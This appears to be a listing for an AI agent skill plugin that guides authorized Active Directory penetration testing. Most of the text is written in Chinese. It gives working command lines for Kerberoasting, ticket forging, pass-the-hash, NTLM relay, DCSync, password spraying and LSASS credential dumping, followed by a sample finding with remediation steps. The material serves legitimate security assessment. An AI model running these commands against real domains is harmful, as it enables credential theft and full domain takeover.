Executes authorized Active Directory attack simulations using BloodHound for path analysis, Mimikatz for credential extraction, Impacket for Kerberos attacks like roasting and delegation abuse. For AD pentesting and domain compromise assessment.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 评估 Active Directory 域和林的安全性,对抗常见和高级攻击技术
Executes authorized attack simulations against Active Directory to identify misconfigurations, weak credentials, privilege escalation paths, and trust exploits using BloodHound, Mimikatz, and Impacket.
Executes authorized Active Directory attack simulations using BloodHound, Mimikatz, and Impacket to identify misconfigurations, weak credentials, privilege paths, and Kerberos vulnerabilities.
Performs Active Directory penetration testing: enumerates domain objects, analyzes attack paths with BloodHound, exploits Kerberos weaknesses, escalates privileges via ADCS/DCSync, and demonstrates domain compromise.
Share bugs, ideas, or general feedback.
不适用于:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。
从低权限域用户位置枚举 AD 环境:
Get-ADDomain 或 crackmapexec smb <dc_ip> -u <user> -p <pass> --domains 识别域名、功能级别、域控制器和林信任关系Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet 识别服务账户、特权账户和过期密码net group "Domain Admins" /domain 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系Get-GPO -All | Get-GPOReport -ReportType XML 识别组策略配置,包括密码策略、审计设置和软件部署nltest /domain_trusts /all_trusts 映射域间和林间信任关系,注意信任方向和传递性ldapsearch 或 ADExplorer 搜索带有 userAccountControl 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"收集并分析 AD 关系数据,识别到达域管理员的最短路径:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据对已识别的脆弱账户执行 Kerberos 攻击:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。离线使用 hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt 破解impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用 hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt 破解impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> 为该服务伪造 TGS 票据mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"利用收集到的凭据在域内横向移动:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在已控账户具有本地管理员权限的系统上执行命令export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass,使用捕获或伪造的 Kerberos 票据impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,强制认证以中继 NTLM 凭据进行权限提升impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm,转储所有域密码哈希crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码以避免锁定mimikatz "sekurlsa::logonpasswords" 或 procdump -ma lsass.exe lsass.dmp 从 LSASS 内存中提取凭据,然后离线提取串联已发现的攻击路径,从低权限用户提升至域管理员:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologinGet-ADComputer -Filter * -Properties ms-Mcs-AdmPwdcertipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8)| 术语 | 定义 |
|---|---|
| Kerberoasting | 为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码 |
| AS-REP Roasting | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳 |
| DCSync | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为 |
| BloodHound | 基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径 |
| 无约束委派(Unconstrained Delegation) | Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT |
| 哈希传递(Pass-the-Hash) | 直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制 |
| AD CS 滥用 | 利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户 |
| NTLM 中继(NTLM Relay) | 将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效 |
场景背景:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。
方法:
常见陷阱:
## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码
**ID**: AD-002
**严重性**: 严重(CVSS 9.1)
**受影响对象**: SVC-SQL@corp.example.com(服务账户)
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting
**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433),
使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。
**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!)
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希
**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。
**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组,防止凭据缓存
6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击